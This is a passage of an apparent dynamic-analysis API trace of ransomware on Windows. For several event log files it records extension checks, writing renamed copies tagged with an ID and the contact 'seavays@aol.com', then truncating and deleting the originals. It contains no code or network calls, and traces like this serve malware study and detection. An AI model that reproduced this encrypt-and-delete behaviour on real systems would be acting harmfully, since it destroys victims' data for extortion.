"c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx")) returned 1 [0065.775] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0065.775] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0065.775] lstrlenW (lpString=".doc") returned 4 [0065.775] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0065.775] lstrlenW (lpString=".docx") returned 5 [0065.775] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0065.775] lstrlenW (lpString=".pdf") returned 4 [0065.775] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0065.775] lstrlenW (lpString=".xls") returned 4 [0065.775] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0065.775] lstrlenW (lpString=".xlsx") returned 5 [0065.775] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0065.775] lstrlenW (lpString=".ppt") returned 4 [0065.775] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0065.775] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0065.775] lstrlenW (lpString=".zip") returned 4 [0065.775] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0065.775] lstrlenW (lpString=".rar") returned 4 [0065.776] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0065.776] lstrlenW (lpString=".bz2") returned 4 [0065.776] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0065.776] lstrlenW (lpString=".7z") returned 3 [0065.776] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0065.776] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0065.776] lstrlenW (lpString=".dbf") returned 4 [0065.776] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0065.776] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0065.776] lstrlenW (lpString=".1cd") returned 4 [0065.776] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0065.776] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0065.776] lstrlenW (lpString=".jpg") returned 4 [0065.776] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0065.777] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0065.777] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0065.777] lstrlenW (lpString=".doc") returned 4 [0065.777] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0065.777] lstrlenW (lpString=".docx") returned 5 [0065.777] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0065.778] lstrlenW (lpString=".pdf") returned 4 [0065.778] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0065.778] lstrlenW (lpString=".xls") returned 4 [0065.778] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0065.778] lstrlenW (lpString=".xlsx") returned 5 [0065.778] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0065.778] lstrlenW (lpString=".ppt") returned 4 [0065.778] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0065.778] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0065.778] lstrlenW (lpString=".zip") returned 4 [0065.778] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0065.778] lstrlenW (lpString=".rar") returned 4 [0065.778] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0065.778] lstrlenW (lpString=".bz2") returned 4 [0065.778] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0065.778] lstrlenW (lpString=".7z") returned 3 [0065.778] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0065.778] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0065.778] lstrlenW (lpString=".dbf") returned 4 [0065.778] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0065.778] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0065.778] lstrlenW (lpString=".1cd") returned 4 [0065.778] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0065.778] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0065.778] lstrlenW (lpString=".jpg") returned 4 [0065.778] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0065.778] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0065.778] lstrlenW (lpString="Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 44 [0065.779] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0065.779] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=69632) returned 1 [0065.779] CloseHandle (hObject=0x368) returned 1 [0065.779] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx")) returned 0x20 [0065.779] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0065.779] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0065.779] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.779] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.779] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0065.780] GetLastError () returned 0x0 [0065.780] ReadFile (in: hFile=0x368, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x11000, lpOverlapped=0x0) returned 1 [0065.783] WriteFile (in: hFile=0x39c, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0x11010, lpOverlapped=0x0) returned 1 [0065.785] ReadFile (in: hFile=0x368, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0065.785] WriteFile (in: hFile=0x39c, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0x12c, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0x12c, lpOverlapped=0x0) returned 1 [0065.785] SetEndOfFile (hFile=0x39c) returned 1 [0065.785] CloseHandle (hObject=0x39c) returned 1 [0065.787] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.787] SetEndOfFile (hFile=0x368) returned 1 [0065.789] CloseHandle (hObject=0x368) returned 1 [0065.789] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0065.789] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx")) returned 1 [0065.789] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0065.789] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0065.789] lstrlenW (lpString=".doc") returned 4 [0065.789] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0065.789] lstrlenW (lpString=".docx") returned 5 [0065.789] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0065.789] lstrlenW (lpString=".pdf") returned 4 [0065.789] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0065.790] lstrlenW (lpString=".xls") returned 4 [0065.790] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0065.790] lstrlenW (lpString=".xlsx") returned 5 [0065.790] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0065.790] lstrlenW (lpString=".ppt") returned 4 [0065.790] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0065.790] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0065.790] lstrlenW (lpString=".zip") returned 4 [0065.790] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0065.790] lstrlenW (lpString=".rar") returned 4 [0065.790] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0065.790] lstrlenW (lpString=".bz2") returned 4 [0065.790] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0065.790] lstrlenW (lpString=".7z") returned 3 [0065.790] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0065.790] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0065.790] lstrlenW (lpString=".dbf") returned 4 [0065.790] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0065.790] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0065.790] lstrlenW (lpString=".1cd") returned 4 [0065.790] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0065.790] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0065.790] lstrlenW (lpString=".jpg") returned 4 [0065.790] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0065.790] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0065.790] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0065.790] lstrlenW (lpString=".doc") returned 4 [0065.790] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0065.790] lstrlenW (lpString=".docx") returned 5 [0065.790] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0065.791] lstrlenW (lpString=".pdf") returned 4 [0065.791] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0065.791] lstrlenW (lpString=".xls") returned 4 [0065.791] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0065.791] lstrlenW (lpString=".xlsx") returned 5 [0065.791] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0065.791] lstrlenW (lpString=".ppt") returned 4 [0065.791] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0065.791] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0065.791] lstrlenW (lpString=".zip") returned 4 [0065.791] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0065.791] lstrlenW (lpString=".rar") returned 4 [0065.791] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0065.791] lstrlenW (lpString=".bz2") returned 4 [0065.791] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0065.791] lstrlenW (lpString=".7z") returned 3 [0065.791] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0065.791] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0065.791] lstrlenW (lpString=".dbf") returned 4 [0065.791] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0065.791] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0065.791] lstrlenW (lpString=".1cd") returned 4 [0065.791] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0065.791] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0065.791] lstrlenW (lpString=".jpg") returned 4 [0065.791] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0065.791] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0065.792] lstrlenW (lpString="Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 45 [0065.792] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0065.792] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=69632) returned 1 [0065.792] CloseHandle (hObject=0x368) returned 1 [0065.792] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx")) returned 0x20 [0065.792] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0065.792] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0065.792] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.792] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.792] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0065.793] GetLastError () returned 0x0 [0065.793] ReadFile (in: hFile=0x368, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x11000, lpOverlapped=0x0) returned 1 [0065.797] WriteFile (in: hFile=0x39c, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0x11010, lpOverlapped=0x0) returned 1 [0065.799] ReadFile (in: hFile=0x368, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0065.799] WriteFile (in: hFile=0x39c, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0x12e, lpOverlapped=0x0) returned 1 [0065.799] SetEndOfFile (hFile=0x39c) returned 1 [0065.799] CloseHandle (hObject=0x39c) returned 1 [0065.802] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.802] SetEndOfFile (hFile=0x368) returned 1 [0065.803] CloseHandle (hObject=0x368) returned 1 [0065.803] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0065.803] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx")) returned 1 [0065.804] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0065.804] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0065.804] lstrlenW (lpString=".doc") returned 4 [0065.804] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0065.804] lstrlenW (lpString=".docx") returned 5 [0065.804] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0065.804] lstrlenW (lpString=".pdf") returned 4 [0065.804] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0065.804] lstrlenW (lpString=".xls") returned 4 [0065.804] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0065.804] lstrlenW (lpString=".xlsx") returned 5 [0065.804] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0065.804] lstrlenW (lpString=".ppt") returned 4 [0065.804] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0065.804] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0065.804] lstrlenW (lpString=".zip") returned 4 [0065.804] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0065.804] lstrlenW (lpString=".rar") returned 4 [0065.804] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0065.804] lstrlenW (lpString=".bz2") returned 4 [0065.804] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0065.804] lstrlenW (lpString=".7z") returned 3 [0065.804] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0065.804] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0065.804] lstrlenW (lpString=".dbf") returned 4 [0065.804] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0065.805] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0065.805] lstrlenW (lpString=".1cd") returned 4 [0065.805] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0065.805] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0065.805] lstrlenW (lpString=".jpg") returned 4 [0065.805] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0065.805] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0065.805] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0065.805] lstrlenW (lpString=".doc") returned 4 [0065.805] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0065.805] lstrlenW (lpString=".docx") returned 5 [0065.805] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0065.805] lstrlenW (lpString=".pdf") returned 4 [0065.805] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0065.805] lstrlenW (lpString=".xls") returned 4 [0065.805] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0065.805] lstrlenW (lpString=".xlsx") returned 5 [0065.805] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0065.805] lstrlenW (lpString=".ppt") returned 4 [0065.805] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0065.805] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0065.805] lstrlenW (lpString=".zip") returned 4 [0065.805] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0065.805] lstrlenW (lpString=".rar") returned 4 [0065.805] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0065.805] lstrlenW (lpString=".bz2") returned 4 [0065.805] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0065.805] lstrlenW (lpString=".7z") returned 3 [0065.805] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0065.805] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0065.805] lstrlenW (lpString=".dbf") returned 4 [0065.805] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0065.805] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0065.806] lstrlenW (lpString=".1cd") returned 4 [0065.806] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0065.806] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0065.806] lstrlenW (lpString=".jpg") returned 4 [0065.806] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0065.806] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0065.806] lstrlenW (lpString="Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 57 [0065.806] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0066.052] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=69632) returned 1 [0066.052] CloseHandle (hObject=0x378) returned 1 [0066.052] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx")) returned 0x20 [0066.052] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0066.052] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0066.052] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0066.052] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0066.052] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0066.052] GetLastError () returned 0x0 [0066.052] ReadFile (in: hFile=0x378, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x11000, lpOverlapped=0x0) returned 1 [0066.055] WriteFile (in: hFile=0x374, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0x11010, lpOverlapped=0x0) returned 1 [0066.058] ReadFile (in: hFile=0x378, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0066.058] WriteFile (in: hFile=0x374, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0x146, lpOverlapped=0x0) returned 1 [0066.058] SetEndOfFile (hFile=0x374) returned 1 [0066.058] CloseHandle (hObject=0x374) returned 1 [0066.060] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0066.060] SetEndOfFile (hFile=0x378) returned 1 [0066.062] CloseHandle (hObject=0x378) returned 1 [0066.062] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0066.063] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx")) returned 1 [0066.063] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0066.063] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0066.063] lstrlenW (lpString=".doc") returned 4 [0066.063] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0066.063] lstrlenW (lpString=".docx") returned 5 [0066.063] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0066.063] lstrlenW (lpString=".pdf") returned 4 [0066.063] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0066.063] lstrlenW (lpString=".xls") returned 4 [0066.063] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0066.063] lstrlenW (lpString=".xlsx") returned 5 [0066.063] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0066.063] lstrlenW (lpString=".ppt") returned 4 [0066.063] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0066.063] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0066.063] lstrlenW (lpString=".zip") returned 4 [0066.063] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0066.063] lstrlenW (lpString=".rar") returned 4 [0066.063] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0066.063] lstrlenW (lpString=".bz2") returned 4 [0066.063] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0066.063] lstrlenW (lpString=".7z") returned 3 [0066.063] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0066.064] lstrlenW 